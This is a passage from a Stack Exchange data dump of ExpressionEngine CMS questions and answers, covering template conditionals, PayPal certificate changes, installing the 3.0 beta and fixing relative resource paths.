{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this in the embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; category=&quot;2&quot; sort=&quot;asc&quot; }&#xA;{if count == 1}&#xA;&amp;lt;li&amp;gt;Show subactegory title of category2 &#xA;{/if}&#xA;&amp;lt;li&amp;gt; [![Sub category entries][1]][1]&amp;lt;li&amp;gt;&#xA;{if count == total_results}&#xA;&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-10-01T09:56:45.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34244" PostTypeId="1" AcceptedAnswerId="34245" CreationDate="2015-10-01T10:27:20.600" Score="0" ViewCount="169" Body="&lt;p&gt;Within a loop, I need to output different info according to whether an entry is in an array of id's or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently get the id's from a query on the matrix table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot;}&#xA;&#xA;{if entry_id not in (ids)}&#xA;    //some output&#xA;{if: else}&#xA;    //some other output&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't use stash, and I can't figure how to do this with PHP/embedded templates/query tag, I think the parse order is a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the query I use to get the entries to filter on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id FROM exp_channel_titles&#xA;WHERE entry_id in &#xA;(SELECT `child_entry_id` FROM (`exp_playa_relationships`)&#xA;WHERE `parent_field_id` =  '{embed:parent_field_id}'&#xA;ORDER BY `rel_order`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2015-10-01T13:12:04.003" LastActivityDate="2015-10-01T17:21:53.583" Title="filter output with a loop: if {entry_id} not in array" Tags="|channel-entries|ifelse|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34245" PostTypeId="2" ParentId="34244" CreationDate="2015-10-01T12:16:29.887" Score="1" Body="&lt;p&gt;Are you using version 2.9+? Which is the separator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's pretend you're and the separator is &lt;code&gt;,&lt;/code&gt;, giving you something like &lt;code&gt;1,2,3,4,5&lt;/code&gt;. Let's use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#contains-operator&quot; rel=&quot;nofollow&quot;&gt;contains&lt;/a&gt; and the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#string-concatenation-operator&quot; rel=&quot;nofollow&quot;&gt;concatenation operators&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/index.html&quot; rel=&quot;nofollow&quot;&gt;Query Module&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT GROUP_CONCAT(entry_id SEPARATOR ',') AS array_of_ids FROM exp_matrix_data WHERE [...]&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {exp:channel:entries channel=&quot;article&quot;}&#xA;&#xA;    {if &quot;,&quot;.array_of_ids.&quot;,&quot; *= &quot;,&quot;.entry_id.&quot;,&quot;}&#xA;        //some output&#xA;    {if: else}&#xA;        //some other output&#xA;    {/if}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Using &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/child_ids.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{exp:playa:child_ids}&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot;}&#xA;&#xA;{if &quot;,&quot;.&quot;{exp:playa:child_ids entry_id='{embed:parent_field_id}' field_id='XXXX' delimiter=','}&quot;.&quot;,&quot; *= &quot;,&quot;.entry_id.&quot;,&quot;}&#xA;    //some output&#xA;{if: else}&#xA;    //some other output&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-10-01T17:21:53.583" LastActivityDate="2015-10-01T17:21:53.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34246" PostTypeId="2" ParentId="34244" CreationDate="2015-10-01T12:54:26.650" Score="1" Body="&lt;p&gt;If your goal is separate these specific entries and output them differently, use categories. You can then have content editors easily select (from the entry_form) entries that should be treated as such. You could have just a single category for this channel. Say it had &lt;code&gt;category_id&lt;/code&gt; 10:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot;}&#xA;&#xA;    {categories}&#xA;&#xA;        {if category_id == &quot;10&quot;}&#xA;            // Special output, in our special group&#xA;        {if:else}&#xA;            // Regular output, not so special&#xA;        {/if}&#xA;&#xA;    {/categories}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, you get this info from a matrix field. How do you fetch it? Is it via a &lt;code&gt;{exp:query}&lt;/code&gt; tag, or do you get it from another &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop? I possibly smell a terrible PHP answer coming your way. Please continue to expand on your question with details.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-01T12:54:26.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34249" PostTypeId="2" ParentId="34202" CreationDate="2015-10-01T15:16:12.463" Score="0" Body="&lt;p&gt;Turns out it had to do with config path on my dev server , when applied to my production site it works ok. I have decided to apply https to the whole site too,&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-10-01T15:16:12.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34250" PostTypeId="1" CreationDate="2015-10-01T15:29:27.470" Score="0" ViewCount="92" Body="&lt;p&gt;my client's website has v1.6.4 of Expresso Store. I integrated it into EE some years ago.&#xA;Recently, users of his website have experienced problems with the checkout process, which is using Paypal Express Checkout.&#xA;It appears Paypal has changed some security stuff (they moved to SHA-256), and has warned my client about it via email. The email says something about IPN, but frankly the translation into italian lacks clarity.&#xA;Is someone else among the readers here affected by the Paypal changes, and willing to help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&#xA;Carlo&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's the email from PayPal:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;As we have previously communicated to you, PayPal is upgrading the certificate for www.paypal.com to SHA-256. This endpoint is also used by merchants using the Instant Payment Notification (IPN) product.&lt;br&gt;&#xA;This upgrade is scheduled for 9/30/2015; however, we may need to change this date on short notice to you to align to the industry security standard.&lt;br&gt;&#xA;You’re receiving this notification because you’ve been identified as a merchant who has used IPN endpoints within the past year. If you have not made the necessary changes, we urge you to do so right away to avoid a disruption of your service!&lt;br&gt;&#xA;Because these changes are technical in nature, we advise that you consult with your individuals responsible for your PayPal integration. They will be able to identify what, if any, changes are needed. Please share this email and the hyperlinks below with your technical contact for evaluation.&lt;br&gt;&#xA;Testing in the Sandbox is one of the best ways to make sure your integration works. Sandbox endpoints have been upgraded to accept secure connections by the SHA-256 Certificates.&lt;br&gt;&#xA;Full technical details can be found in our Merchant Security System Upgrade Guide. In addition, our 2015-2016 SSL Certificate Change microsite contains a schedule of our service upgrade plan.&lt;br&gt;&#xA;Thanks for your patience as we continue to improve our services.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditDate="2015-10-01T22:20:47.813" LastActivityDate="2015-10-01T22:20:47.813" Title="Expresso Store 1.6.4 - Problems with new PayPal SHA-256" Tags="|expresso-store|expresso|paypal|paypal-express-checkout|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="34251" PostTypeId="1" CreationDate="2015-10-01T15:39:22.673" Score="3" ViewCount="52" Body="&lt;p&gt;I'm using a channel form with inline errors containing matrix fields in EE 2.10.1 with Matrix 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The matrix fields are set to have no rows initially &amp;amp; they have some required columns, but the fields themselves are not required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've realised that if you have a matrix field with one row &amp;amp; then delete that row, deleting doesn't work. The row does vanish on clicking delete, but when you submit the channel form you get errors for the required columns in the row which has reappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleting rows within a multi row matrix does work (even the first row if there are multiple rows). It just seems to be deleting the one &amp;amp; only row left in a matrix field that doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights or help on this would be greatly appreciated thanks.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2015-10-01T15:39:22.673" Title="Unable to delete only existing row in Matrix field with required columns in Channel Form" Tags="|matrix|safecracker|pixelandtonic|delete|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34252" PostTypeId="1" CreationDate="2015-10-01T15:46:11.520" Score="0" ViewCount="21" Body="&lt;p&gt;EE 2.10.1&#xA;P&amp;amp;T Fieldpack 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the P&amp;amp;T Checkboxes &lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/fieldtypes/checkboxes/tags.html#total-selections-tag&quot; rel=&quot;nofollow&quot;&gt;:total_selections Tag&lt;/a&gt; supposed to work with Channel Form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not working for me at the moment. The tag is not parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code currently in use. This is enclosed in a basic Channel Form tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:field_name_here}   &#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; id=&quot;field_name_here&quot; name=&quot;field_name_here[]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;    &#xA;&amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;{option_value}&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/li&amp;gt; &#xA;{/options:field_name_here}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above works great. The following is just printed as is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field_name_here:total_selections} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6714" LastEditorUserId="6714" LastEditDate="2015-10-01T16:18:47.280" LastActivityDate="2015-10-01T16:18:47.280" Title="P&amp;T Checkboxes :total_selections Tag" Tags="|pt-checkboxes|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34253" PostTypeId="1" AcceptedAnswerId="34254" CreationDate="2015-10-01T18:29:32.890" Score="1" ViewCount="161" Body="&lt;p&gt;I've looked around in the documentation and on the forums for help with this, but to no avail. I'm having trouble figuring out how to install the new public beta for ee. The current install information for v2x does not seem to coincide with the new file structure for 3.0.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded ee to my server but cannot figure out which files I should change permissions for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate the help!&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2015-10-02T22:27:05.213" Title="Help Installing ee 3.0.0 (beta)" Tags="|ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34254" PostTypeId="2" ParentId="34253" CreationDate="2015-10-01T18:41:33.227" Score="0" Body="&lt;p&gt;It's really quite simple...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create a new folder in your web root (or use your webroot) and extract the contents of the &lt;code&gt;ExpressionEngine3.0.0-beta.zip&lt;/code&gt; file there. Ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/your_web_root/ee3/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, simply visit &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.your-domain.com/ee3/admin.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To begin the installation process. It looks different, but it's exactly the same. It will warn you if:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your &lt;code&gt;config.php&lt;/code&gt; file isn't writable (666).&lt;/li&gt;&#xA;&lt;li&gt;Your &lt;code&gt;cache&lt;/code&gt; folder isn't writable (777).&lt;/li&gt;&#xA;&lt;li&gt;Your &lt;code&gt;database.php&lt;/code&gt; file isn't configured (haven't added DB creds to it).&lt;/li&gt;&#xA;&lt;li&gt;Basically, nothing else, unless your server doesn't pass basic tests for compatibility.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Really, it's almost the exact same &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/installation.html&quot; rel=&quot;nofollow&quot;&gt;installation as EE2.x&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-02T12:05:03.187" LastActivityDate="2015-10-02T12:05:03.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34255" PostTypeId="1" CreationDate="2015-10-02T00:33:15.643" Score="1" ViewCount="696" Body="&lt;p&gt;I have two pages serving up the exact same static page. I get an error on the second page, but I can’t figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No error:&lt;/strong&gt; jatecson.com/information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt; jatecson.com/set/images&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error in Chrome:&#xA;“Uncaught SyntaxError: Unexpected token &amp;lt;”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Safari I get another error:&#xA;Did not parse stylesheet at ‘jatecson.com/set/css/main.css’ because non CSS MIME types are not allowed in strict mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on the error in the console takes me to line 1 of the web page:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer a suggestion on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m running EE 2.10.1.&lt;/p&gt;&#xA;" OwnerUserId="6716" LastActivityDate="2017-03-02T15:44:12.200" Title="SyntaxError on identitcal pages" Tags="|url|segments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34256" PostTypeId="1" CreationDate="2015-10-02T00:48:01.497" Score="1" ViewCount="88" Body="&lt;p&gt;I've attached a screenshot of the code I'm using to link to the CSS files on my server. Am I using the wrong path??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site I'm working on is &lt;a href=&quot;http://www.bookslibrarianslove.com/index.php/Pages&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.bookslibrarianslove.com/index.php/Pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SkQv5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SkQv5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6624" LastEditorUserId="6624" LastEditDate="2015-10-08T22:37:36.237" LastActivityDate="2015-12-10T09:45:29.707" Title="Troubleshooting Linking External CSS" Tags="|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34257" PostTypeId="2" ParentId="34255" CreationDate="2015-10-02T00:58:34.813" Score="1" Body="&lt;p&gt;... My friend, did you check your resources? You are getting an error on the second page because you are accessing your &lt;code&gt;Main.js&lt;/code&gt; from &lt;strong&gt;relative paths&lt;/strong&gt; in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jatecson.com/information&lt;/strong&gt; : &lt;a href=&quot;http://jatecson.com/js/Main.js&quot; rel=&quot;nofollow&quot;&gt;http://jatecson.com/js/Main.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load that file and &lt;em&gt;yay&lt;/em&gt;! We've loaded your JavaScript file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jatecson.com/set/images&lt;/strong&gt; : &lt;a href=&quot;http://jatecson.com/set/js/Main.js&quot; rel=&quot;nofollow&quot;&gt;http://jatecson.com/set/js/Main.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load that file ... and... hrmmm. That doesn't seem right...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must be loading resources with a relative path in that template, when you should be using the &lt;code&gt;{site_url}&lt;/code&gt; variable to direct your resources to absolute paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your code to load that JavaScript file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;js/Main.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are loading from a relative path! So when your URI is &lt;code&gt;/&lt;/code&gt; (base site root), you get &lt;code&gt;http://jatecson.com/js/Main.js&lt;/code&gt;. But when your URI is &lt;code&gt;/set/&lt;/code&gt;, you're getting &lt;code&gt;http://jatecson.com/set/js/Main.js&lt;/code&gt;. This is true of all of your resource tags. If these are ExpressionEngine parsed templates, you should use the &lt;code&gt;{site_url}&lt;/code&gt; path like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;{site_url}js/Main.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might need to add a &lt;code&gt;/&lt;/code&gt; after &lt;code&gt;{site_url}&lt;/code&gt;, depending on what it's set at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these aren't ExpressionEngine templates and actual flat static served files, you'll need to edit them and manually add your domain to those &lt;code&gt;src&lt;/code&gt; parameters.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-02T00:58:34.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34258" PostTypeId="2" ParentId="34256" CreationDate="2015-10-02T01:01:07.947" Score="0" Body="&lt;p&gt;Nope! , erm, I mean Yup! You have the wrong value for the &lt;code&gt;src&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}css/style.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use that (assuming this is an ExpressionEngine parsed template). You might need to add a &lt;code&gt;/&lt;/code&gt; after &lt;code&gt;{site_url}&lt;/code&gt;, depending on what your site url config var is set to.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-02T01:01:07.947" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="34259" PostTypeId="1" CreationDate="2015-10-02T01:15:58.873" Score="0" ViewCount="693" Body="&lt;p&gt;Is there an Apache mod_rewrite script that will allow me to force lowercase URLs, except for a pagination segment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I want the url &lt;a href=&quot;https://domain.com/blog/Capitalized-Url/P10&quot; rel=&quot;nofollow&quot;&gt;https://domain.com/blog/Capitalized-Url/P10&lt;/a&gt; to instead render as &lt;a href=&quot;https://domain.com/blog/capitalized-url/P10&quot; rel=&quot;nofollow&quot;&gt;https://domain.com/blog/capitalized-url/P10&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2015-11-09T10:21:47.727" Title="Is it possible to force lowercase URLs except for pagination segments?" Tags="|apache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34260" PostTypeId="2" ParentId="34208" CreationDate="2015-10-02T01:59:55.237" Score="0" Body="&lt;p&gt;Make sure all your category URL titles are unique, if you have duplicates that can cause this sort of problem.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-10-02T01:59:55.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34261" PostTypeId="2" ParentId="34256" CreationDate="2015-10-02T03:28:59.733" Score="1" Body="&lt;p&gt;Yes, you are. And your question is almost off topic.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EECMS variables are put between &lt;code&gt;{&lt;/code&gt; and &lt;code&gt;}&lt;/code&gt;. You should put variables there, not only paths. &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/path.html#path-variables&quot; rel=&quot;nofollow&quot;&gt;Path variables&lt;/a&gt; are a little different. You can study all about it on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/overview.html&quot; rel=&quot;nofollow&quot;&gt;Template Language Overview&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;public_html&lt;/code&gt; is usually the folder where the website is. Everything accessible from web is inside this folder, so you need to point to its contents, not to the folder itself;&lt;/li&gt;&#xA;&lt;li&gt;paths initiating with &lt;code&gt;/&lt;/code&gt; are followed from the domain root. They're called &quot;root relative paths&quot;. For example, &lt;code&gt;/my-file.gif&lt;/code&gt; can be accessed from anywhere on the domain;&lt;/li&gt;&#xA;&lt;li&gt;paths without a &lt;code&gt;/&lt;/code&gt; as first character are followed starting at the folder you already are. They're the &quot;relative paths&quot;. For example, if you are on &lt;code&gt;http://domain.com/page_1/page_23&lt;/code&gt;, a path like &lt;code&gt;my-file.gif&lt;/code&gt; will point to &lt;code&gt;http://domain.com/page_1/page_23/my-file.gif&lt;/code&gt;. They can give you headaches;&lt;/li&gt;&#xA;&lt;li&gt;paths starting with protocol and domain are called &quot;absolute paths&quot;;&lt;/li&gt;&#xA;&lt;li&gt;CSS can be saved as a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/design/templates/new_template.html&quot; rel=&quot;nofollow&quot;&gt;EECMS Template&lt;/a&gt; and linked using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/stylesheet.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{stylesheet='template_group/css_template'}&lt;/code&gt;&lt;/a&gt;, but you usually don't need that;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since the CSS isn't being served by EECMS, you can point directly to it in two ways. Using a root relative path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/css/style.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or an absolute path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}/css/style.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EECMS will replace the &lt;code&gt;{site_url}&lt;/code&gt; variable with the setting used on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/general_configuration.html#url-to-the-root-directory-of-your-site&quot; rel=&quot;nofollow&quot;&gt;URL to the root directory of your site&lt;/a&gt; on Control Panel. Pay attention to not have double &lt;code&gt;/&lt;/code&gt; or a missing one.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="6825" LastEditDate="2015-12-10T09:45:29.707" LastActivityDate="2015-12-10T09:45:29.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34262" PostTypeId="1" CreationDate="2015-10-02T06:45:13.620" Score="0" ViewCount="24" Body="&lt;p&gt;I am working in a project in EE that was previously done by somebody else. The problem is that in the image source link , it is showing as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://XXX.XXX.XX.XX/images/news/image.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but what I want is, is that to be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://myexample.com/images/news/image.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What might be the solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I am using Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="6717" LastEditorUserId="3579" LastEditDate="2015-10-02T13:15:15.643" LastActivityDate="2015-10-02T13:15:15.643" Title="How can i display the site url instead of the ip address?" Tags="|ee2|ee1|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34263" PostTypeId="2" ParentId="34231" CreationDate="2015-10-02T07:47:33.223" Score="0" Body="&lt;p&gt;I found out what was wrong. The url to the upload directory was not correctly set.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-10-02T07:47:33.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34264" PostTypeId="2" ParentId="32895" CreationDate="2015-10-02T08:29:48.667" Score="0" Body="&lt;p&gt;Based on your screenshot, this is a permissions issue. Make sure you are logged in as SuperAdmin, then you can assign permissions to other member groups per Reorder Set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, it looks like the member group &quot;Editor&quot; belongs to doesn't have the permissions to reorder entries nor edit the sets themselves.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-02T08:29:48.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34265" PostTypeId="2" ParentId="27027" CreationDate="2015-10-02T08:51:43.330" Score="1" Body="&lt;p&gt;Using grid and native (2.9.2) it’s quite cool, you can now do could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if grid_field:count == grid_field:total_results / 2}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In our case I wanted to create a two column set of lists :)&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-10-02T08:51:43.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34266" PostTypeId="1" CreationDate="2015-10-02T09:39:05.597" Score="1" ViewCount="150" Body="&lt;p&gt;I am new to expression engine and setup multiple sites using MSM. All the sites having simple search form to search across the channels. When i search with the master site the search working perfectly, But when i search through the sites other than master it redirects me to no result page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form&#xA;    channel=&quot;news|business|travel&quot;&#xA;    result_page=&quot;search/results&quot;&#xA;    no_result_page=&quot;search/no_results&quot;&#xA;    search_in=&quot;everywhere&quot;}&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;search&quot; value=&quot;&quot; class=&quot;form-control input-sm&quot; placeholder=&quot;Search&quot; required /&amp;gt; &#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; id=&quot;submit&quot; name=&quot;submit&quot; class=&quot;btn btn-default btn-sm&quot;&amp;gt;&#xA;        &amp;lt;i class=&quot;fa fa-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;    &amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6718" LastEditorUserId="3579" LastEditDate="2015-10-02T13:12:35.747" LastActivityDate="2016-06-13T12:02:51.280" Title="Multi-site simple search not working" Tags="|search|multi-site-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
